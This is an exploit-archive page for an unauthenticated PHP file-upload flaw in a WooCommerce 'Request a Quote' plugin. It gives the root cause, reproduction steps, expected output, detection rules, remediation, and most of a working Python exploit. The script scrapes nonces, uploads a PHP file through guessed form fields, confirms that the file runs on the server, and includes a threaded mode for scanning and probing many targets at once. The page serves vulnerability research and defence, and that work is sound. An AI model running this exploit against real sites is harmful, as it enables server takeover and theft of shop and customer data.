PoC Archive PoC Archive
CVE-2026-18143 category: web CVSS 9.8 (CRITICAL)
Patched

Request a Quote for WooCommerce (Addify) — Unauthenticated Arbitrary File Upload (CVE-2026-18143)

Published: 2026-11-25 • Researcher: murrez (PoC repository owner); Addify (plugin vendor); Wordfence Threat Intelligence (vulnerability report referenced by NVD)

Target software Request a Quote for WooCommerce plugin (slug: woocommerce-request-a-quote) by Addify, distributed through WooCommerce.com; WordPress + WooCommerce storefront
Affected versions All versions up to and including 2.9.2; fixed in a release above 2.9.2. The supplied CVE data contains no enumerated product ranges, so confirm the fixed version against the vendor changelog and the Wordfence advisory (see references)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-18143
Category
web
Affected product
Request a Quote for WooCommerce plugin (slug: woocommerce-request-a-quote) by Addify, distributed through WooCommerce.com; WordPress + WooCommerce storefront
Affected versions
All versions up to and including 2.9.2; fixed in a release above 2.9.2. The supplied CVE data contains no enumerated product ranges, so confirm the fixed version against the vendor changelog and the Wordfence advisory (see references)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-26
Author / Researchermurrez (PoC repository owner); Addify (plugin vendor); Wordfence Threat Intelligence (vulnerability report referenced by NVD)
CVE / AdvisoryCVE-2026-18143
Categoryweb
SeverityCritical
CVSS Score9.8 (NVD CVSSv3.x; the vector string is not included in the supplied source data — see references)
StatusPoC
Tagsarbitrary-file-upload, unauthenticated, WordPress, WooCommerce, plugin, PHP, webshell, CWE-434, admin-ajax, Addify
RelatedN/A

Affected Target

FieldValue
Software / SystemRequest a Quote for WooCommerce plugin (slug: woocommerce-request-a-quote) by Addify, distributed through WooCommerce.com; WordPress + WooCommerce storefront
Versions AffectedAll versions up to and including 2.9.2; fixed in a release above 2.9.2. The supplied CVE data contains no enumerated product ranges, so confirm the fixed version against the vendor changelog and the Wordfence advisory (see references)
Language / PlatformPHP (WordPress plugin); web server with PHP execution, any OS
Authentication RequiredNo
Network Access RequiredYes

Summary

The Request a Quote for WooCommerce plugin is vulnerable to arbitrary file upload in all versions up to and including 2.9.2. The popup quote submission handler trusts the raw client-supplied upload filename and performs no file extension or MIME type validation, so the file is written to a web-accessible temporary RFQ upload directory. An unauthenticated attacker can therefore upload a PHP file and request it directly, obtaining code execution as the web server user, provided a public quote rule using the multi-page popup flow is enabled. The archived PoC automates version fingerprinting, nonce scraping, the multipart upload to the admin AJAX endpoint, and shell verification.

Vulnerability Details

Root Cause

Missing file extension and MIME type validation in the popup upload handler exposed through the afrfq submit quote via popup AJAX action. The handler passes the attacker-supplied filename straight through to the move uploaded file primitive as the destination name, instead of generating a safe, non-executable name. Because the destination directory is inside the plugin tree under the web root and is not protected against PHP execution, an uploaded file ending in .php is served and executed by the web server.

Attack Vector

An unauthenticated attacker sends a multipart HTTP POST to wp-admin/admin-ajax.php with the action parameter set to afrfq submit quote via popup (with the RFQ nonce when one is required) and a PHP payload in the uploaded-file part. The plugin then writes the file into its uploads temporary directory, and the attacker requests the resulting path to execute the payload. The vulnerable surface only exists when a public quote rule with the multi-page popup flow is enabled on the storefront.

Impact

Arbitrary PHP code execution in the context of the WordPress/PHP service user, which yields full compromise of the storefront: database credentials in wp-config.php, WooCommerce customer and order data, admin account creation, and persistent implants. The CVSS score of 9.8 reflects unauthenticated network exploitation with high confidentiality, integrity and availability impact.

Environment / Lab Setup

Output
OS:          Linux (any) with a LAMP/LEMP stack, or the official wordpress Docker image
Target:      WordPress + WooCommerce, plugin "Request a Quote for WooCommerce" <= 2.9.2
             with a public quote rule using the multi-page popup flow
Attacker:    Linux or macOS with Python 3.9+
Tools:       python3, requests, curl, a browser or Burp Suite for nonce inspection

Setup Steps

Shell script
1
2
3
4
5
6
7
docker run -d --name rfq-wp -p 8080:80 wordpress:latest

pip install -r requirements.txt

python3 poc.py -u http://127.0.0.1:8080 --mode check

curl -s http://127.0.0.1:8080/shop/ | grep -o 'afrfq[_-]nonce[^,]*'

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the plugin — request the plugin readme and main class files under wp-content/plugins/woocommerce-request-a-quote/ and parse the Version or Stable tag header. The script reports vulnerable, patched, or no plugin.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:8080 --mode check
  2. Confirm the AJAX surface — POST only the action parameter to admin-ajax.php and inspect the response. A non-empty, non-zero body indicates the popup handler is registered.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:8080 --mode check --upload-probe
  3. Scrape the RFQ nonce — the front-end popup localizes the nonce; pass it explicitly if automatic scraping fails.

    Shell script
    1
    2
    3
    
    python3 poc.py -u http://127.0.0.1:8080 --mode exploit --page /shop/ --verify
    # or, with a known nonce:
    python3 poc.py -u http://127.0.0.1:8080 --mode exploit --nonce YOUR_NONCE --verify
  4. Upload and verify — the script sends a PHP marker file (default random name pocbit_XXXXXXXX.php) through each candidate multipart field name, then requests the candidate upload directories to confirm execution. A verified hit prints the shell URL and the marker POCBIT-18143-OK.

Exploit Code

See poc.py in this folder. Upstream usage notes are in upstream-README.md.

The upload and verification core is:

Python
1
2
3
4
5
6
7
base_data = {"action": "afrfq_submit_quote_via_popup", "nonce": nonce}
content = b"<?php header('Content-Type: text/plain'); echo 'POCBIT-18143-OK'; ?>"
for field in ("file", "quote_file", "afrfq_file", "upload_file", "rfq_file"):
    requests.post(base + "/wp-admin/admin-ajax.php",
                  data=base_data,
                  files={field: ("pocbit_ab12cd34.php", content, "application/octet-stream")},
                  timeout=25)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
======================================================
  PoCbit  https://pocbit.org/pocs/cve-2026-18143
  CVE-2026-18143  Addify RFQ popup unauth arbitrary file upload
======================================================
[*] http://127.0.0.1:8080 | upload_verified | v=2.9.2
{
  "target": "http://127.0.0.1:8080",
  "plugin": true,
  "version_str": "2.9.2",
  "vulnerable": true,
  "status": "upload_verified",
  "upload_probe": {
    "verify": {
      "url": "http://127.0.0.1:8080/wp-content/plugins/woocommerce-request-a-quote/uploads/temp/pocbit_ab12cd34.php",
      "verified": true,
      "status_code": 200
    }
  }
}

Detection & Indicators of Compromise

  • Multipart POST requests to wp-admin/admin-ajax.php containing action=afrfq_submit_quote_via_popup together with a filename ending in .php, .phtml, .php5 or .phar.
  • Newly created files under wp-content/plugins/woocommerce-request-a-quote/uploads/ (and its temp, tmp, afrfq or rfq subdirectories), especially files whose contents are a short PHP payload rather than a document or image.
  • HTTP GET requests to that uploads directory that return text/plain or PHP output instead of a static file, often immediately after the POST.
  • Web server error logs showing PHP parse or execution errors inside the plugin uploads directory.
  • Storefront requests that enumerate the plugin readme or class files (version fingerprinting) from the same source as upload attempts.

Example access log / SIEM pattern:

Output
1
2
POST /wp-admin/admin-ajax.php HTTP/1.1" 200 - "action=afrfq_submit_quote_via_popup" "filename=\"pocbit_*.php\""
GET  /wp-content/plugins/woocommerce-request-a-quote/uploads/temp/pocbit_*.php HTTP/1.1" 200

Snort / Suricata rule (example):

Output
1
2
3
4
5
alert http any any -> any any (msg:"CVE-2026-18143 RFQ popup PHP upload attempt"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"/wp-admin/admin-ajax.php"; http_uri; \
  content:"afrfq_submit_quote_via_popup"; http_client_body; \
  pcre:"/filename=\"[^\"]+\.(php|phtml|phar)\"/i"; sid:9002611;)

Remediation

ActionDetail
PatchUpgrade Request a Quote for WooCommerce to a release above 2.9.2 (the first fixed version) and verify the popup handler now validates extension and MIME type; consult the vendor changelog and Wordfence advisory for the exact fixed version.
WorkaroundDisable the multi-page popup quote flow (use a non-popup quote form or take the shop’s RFQ feature offline) until the plugin is patched; this removes the vulnerable unauthenticated surface.
Config HardeningBlock PHP execution inside wp-content/plugins/*/uploads/ and wp-content/uploads/ at the web server or WAF, deny direct access to the RFQ temp directory, keep WordPress, WooCommerce and the plugin current, and monitor for unexpected .php files in plugin upload paths.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-18143 on 2026-11-25.

Review verdict: this is a real exploit PoC, not a pure detector. Check mode does fingerprint the plugin version and probe the AJAX handler, but exploit mode and upload-probe mode actually upload a PHP payload through the popup handler and verify execution by fetching the marker file, so the repository is archived.

Limitations: the script does not reproduce a corpus-verified end-to-end run against a live storefront in this archive. It depends on the popup quote rule being enabled and on obtaining the RFQ nonce from front-end JavaScript. The multipart field name and the upload directory are guessed from candidate lists rather than derived from plugin source, so the exploit can fail on installations that use a different field name or a customized upload path; a manual upload can be performed with the same request shape once the field name is known. Verification requires the uploaded path to be readable and PHP-executable.

License: MIT (Copyright (c) 2026 CVE-2026-18143 PoC contributors), archived under the same terms with attribution; the original LICENSE file is included. No exploit code was executed during ingestion. Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-18143 (see README for attribution/license)
"""
CVE-2026-18143 — Addify Request a Quote for WooCommerce <= 2.9.2
Unauthenticated arbitrary file upload via afrfq_submit_quote_via_popup()
(move_uploaded_file with attacker-controlled filename; no extension/MIME checks).

Requires public quote rule with multi-page popup flow enabled.

PoC page: https://pocbit.org/pocs/cve-2026-18143
"""

from __future__ import annotations

CVE_ID = "CVE-2026-18143"
POC_TITLE = "Addify RFQ popup unauth arbitrary file upload"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

PLUGIN_SLUG = "woocommerce-request-a-quote"
MAX_VERSION = (2, 9, 2)
AJAX_ACTION = "afrfq_submit_quote_via_popup"

MARKERS = (
    "woocommerce-request-a-quote",
    "addify_rfq",
    "afrfq",
    "request a quote",
    "add-to-quote",
)

NONCE_PATTERNS = (
    r'afrfq[_-]?nonce["\']\s*[:=]\s*["\']([a-f0-9]{6,12})["\']',
    r'["\']nonce["\']\s*:\s*["\']([a-f0-9]{6,12})["\']',
    r'af_rfq[_-]?nonce["\']\s*[:=]\s*["\']([a-f0-9]{6,12})["\']',
)

UPLOAD_DIR_CANDIDATES = (
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/temp/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/tmp/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/afrfq/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/rfq/",
)

FILE_FIELD_CANDIDATES = (
    "file",
    "quote_file",
    "afrfq_file",
    "upload_file",
    "rfq_file",
    "afrfq_upload",
    "popup_file",
)

VERIFY_MARKER = "POCBIT-18143-OK"

print_lock = threading.Lock()


def print_front(quiet=False):
    if quiet:
        return
    log("=" * 54)
    log(f"  PoCbit  {POCBIT_PAGE}")
    log(f"  {CVE_ID}  {POC_TITLE}")
    log("=" * 54)


def _finish_row(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=25, pool_maxsize=25)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def ajax_url(base):
    return base.rstrip("/") + "/wp-admin/admin-ajax.php"


def parse_version_tuple(text):
    if not text:
        return None
    for pat in (
        r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)",
        r"Version:\s*([0-9]+(?:\.[0-9]+)*)",
    ):
        m = re.search(pat, text, re.I)
        if m:
            parts = []
            for x in m.group(1).split("."):
                try:
                    parts.append(int(x))
                except ValueError:
                    break
            if parts:
                return tuple(parts)
    return None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def version_str(v):
    return ".".join(str(x) for x in v) if v else ""


def plugin_probe_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return [
        root + "/class-addify-request-for-quote.php",
        root + "/woocommerce-request-a-quote.php",
        root + "/readme.txt",
        root + "/changelog.txt",
    ]


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "version_str": None,
        "vulnerable": False,
        "patched": False,
    }
    for url in plugin_probe_urls(base):
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        if "Plugin Name" not in body and "addify" not in body.lower() and "afrfq" not in body.lower():
            if "request" not in body.lower() or "quote" not in body.lower():
                continue
        out["plugin"] = True
        ver = parse_version_tuple(body)
        if ver and (not out["version"] or version_le(ver, out["version"] or ver)):
            out["version"] = ver
            out["version_str"] = version_str(ver)
            out["patched"] = not version_le(ver, MAX_VERSION)
            out["vulnerable"] = version_le(ver, MAX_VERSION)
    if out["plugin"] and not out["version"]:
        out["vulnerable"] = True
    return out


def scrape_nonces(html):
    found = []
    if not html:
        return found
    for pat in NONCE_PATTERNS:
        for m in re.finditer(pat, html, re.I):
            found.append(m.group(1))
    return list(dict.fromkeys(found))


def frontend_markers(html):
    if not html:
        return False
    low = html.lower()
    return any(m in low for m in MARKERS) or "submit_quote_via_popup" in low


def fetch_frontend_context(s, base, timeout, page_path=None):
    paths = [page_path or "/", "/shop/", "/product/", "/?p=1"]
    ctx = {"nonces": [], "popup_hint": False, "pages": []}
    for path in paths:
        url = base.rstrip("/") + (path if path.startswith("/") else "/" + path)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        nonces = scrape_nonces(body)
        pop = "popup" in body.lower() and "afrfq" in body.lower()
        ctx["pages"].append({"url": url, "status": r.status_code, "nonces": nonces, "popup_hint": pop})
        ctx["nonces"].extend(nonces)
        ctx["popup_hint"] = ctx["popup_hint"] or pop
    ctx["nonces"] = list(dict.fromkeys(ctx["nonces"]))
    return ctx


def shell_body():
    return (
        "<?php header('Content-Type: text/plain'); "
        "echo '%s'; ?>" % VERIFY_MARKER
    )


def build_upload_attempts(filename, content, nonce=None):
    """Yield (data, files) tuples for multipart POST."""
    base_data = {"action": AJAX_ACTION}
    if nonce:
        for k in ("nonce", "afrfq_nonce", "security", "_wpnonce"):
            base_data[k] = nonce
    base_data.update({
        "email": "pocbit@invalid.example",
        "afrfq_email": "pocbit@invalid.example",
        "name": "PoCbit",
        "afrfq_name": "PoCbit",
        "quote_page": "2",
        "popup_step": "2",
    })
    for field in FILE_FIELD_CANDIDATES:
        files = {field: (filename, content, "application/octet-stream")}
        yield dict(base_data), files


def post_upload(s, base, data, files, timeout):
    url = ajax_url(base)
    try:
        r = post(s, url, data=data, files=files, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    body = None
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        body = {"raw": (r.text or "")[:800]}
    return {
        "status_code": r.status_code,
        "body": body,
        "raw_len": len(r.text or ""),
    }


def guess_shell_urls(base, filename):
    urls = []
    for d in UPLOAD_DIR_CANDIDATES:
        urls.append(base.rstrip("/") + d.rstrip("/") + "/" + filename)
    return urls


def verify_shell(s, urls, timeout):
    for url in urls:
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code == 200 and VERIFY_MARKER in (r.text or ""):
            return {"url": url, "verified": True, "status_code": r.status_code}
    return {"verified": False, "tried": urls}


def probe_ajax_action(s, base, timeout):
    try:
        r = post(s, ajax_url(base), data={"action": AJAX_ACTION}, timeout=timeout)
    except requests.RequestException as e:
        return {"reachable": False, "error": str(e)}
    text = (r.text or "")[:500]
    return {
        "reachable": r.status_code == 200,
        "status_code": r.status_code,
        "preview": text,
        "handler_likely": r.status_code == 200 and text not in ("0", "-1", ""),
    }


def run_upload_chain(s, base, timeout, nonce, filename, verify):
    content = shell_body().encode("utf-8")
    attempts = []
    for data, files in build_upload_attempts(filename, content, nonce):
        res = post_upload(s, base, data, files, timeout)
        field = list(files.keys())[0]
        attempts.append({"field": field, "result": res})
        body = res.get("body")
        if isinstance(body, dict) and (body.get("success") or body.get("file_url") or body.get("url")):
            break
        if res.get("status_code") == 200 and isinstance(body, dict) and body.get("success") is not False:
            break
    urls = guess_shell_urls(base, filename)
    if verify:
        v = verify_shell(s, urls, timeout)
    else:
        v = {"verified": False, "tried": urls, "skipped": True}
    return {
        "attempts": attempts,
        "verify": v,
        "shell_urls": urls,
    }


def check_target(base, timeout, proxy, page_path=None, try_upload=False, filename=None):
    base = normalize_base(base)
    row = _finish_row({"target": base, "status": "unknown"})
    if not base:
        row["status"] = "ERR"
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    row["ajax_url"] = ajax_url(base)

    if not plug["plugin"]:
        row["status"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["status"] = "patched"
        return row

    row["exploitable_candidate"] = True
    row["status"] = "vulnerable_plugin"
    row["ajax_probe"] = probe_ajax_action(s, base, timeout)
    row["frontend"] = fetch_frontend_context(s, base, timeout, page_path)

    if not row["frontend"].get("nonces") and not row["frontend"].get("popup_hint"):
        row["status"] = "vulnerable_popup_surface_unknown"
        row["note"] = "Enable popup quote rule; scrape nonce from shop/product page or pass --nonce"

    if try_upload:
        nonce = (row["frontend"].get("nonces") or [None])[0]
        fn = filename or ("pocbit_%s.php" % "".join(random.choices(string.ascii_lowercase + string.digits, k=8)))
        row["upload_probe"] = run_upload_chain(s, base, timeout, nonce, fn, verify=True)
        if row["upload_probe"]["verify"].get("verified"):
            row["status"] = "upload_verified"
        elif row["ajax_probe"].get("handler_likely"):
            row["status"] = "vulnerable_handler_reachable"

    return row


def exploit_target(base, timeout, proxy, nonce, filename, verify, page_path):
    base = normalize_base(base)
    row = _finish_row({"target": base, "mode": "exploit"})
    if not base:
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    if not plug.get("plugin"):
        row["error"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["error"] = "patched"
        return row

    if not nonce:
        ctx = fetch_frontend_context(s, base, timeout, page_path)
        row["frontend"] = ctx
        nonces = ctx.get("nonces") or []
        nonce = nonces[0] if nonces else None
    row["nonce_used"] = nonce

    fn = filename or ("pocbit_%s.php" % "".join(random.choices(string.ascii_lowercase + string.digits, k=8)))
    row["filename"] = fn
    chain = run_upload_chain(s, base, timeout, nonce, fn, verify=verify)
    row["upload"] = chain

    if chain["verify"].get("verified"):
        row["exploited"] = True
        row["shell_url"] = chain["verify"]["url"]
    else:
        row["error"] = "shell_not_confirmed"
        if chain["attempts"]:
            last = chain["attempts"][-1]["result"]
            row["last_response"] = last.get("body") or last.get("error")

    return row


def load_targets(path):
    items = []
    seen = set()
    with open(path, "r", encoding="utf-8", errors="replace") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            base = normalize_base(line.split("|", 1)[0])
            if base and base not in seen:
                seen.add(base)
                items.append(base)
    return items


def run_mass(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "err": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        return check_target(
            t, args.timeout, args.proxy, args.page,
            try_upload=args.upload_probe, filename=args.filename,
        )

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done_set, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done_set:
                    futures.pop(fut)
                    try:
                        row = fut.result()
                    except Exception as e:
                        stats["err"] += 1
                        if not args.quiet:
Showing 500 of 595 lines View full file on GitHub →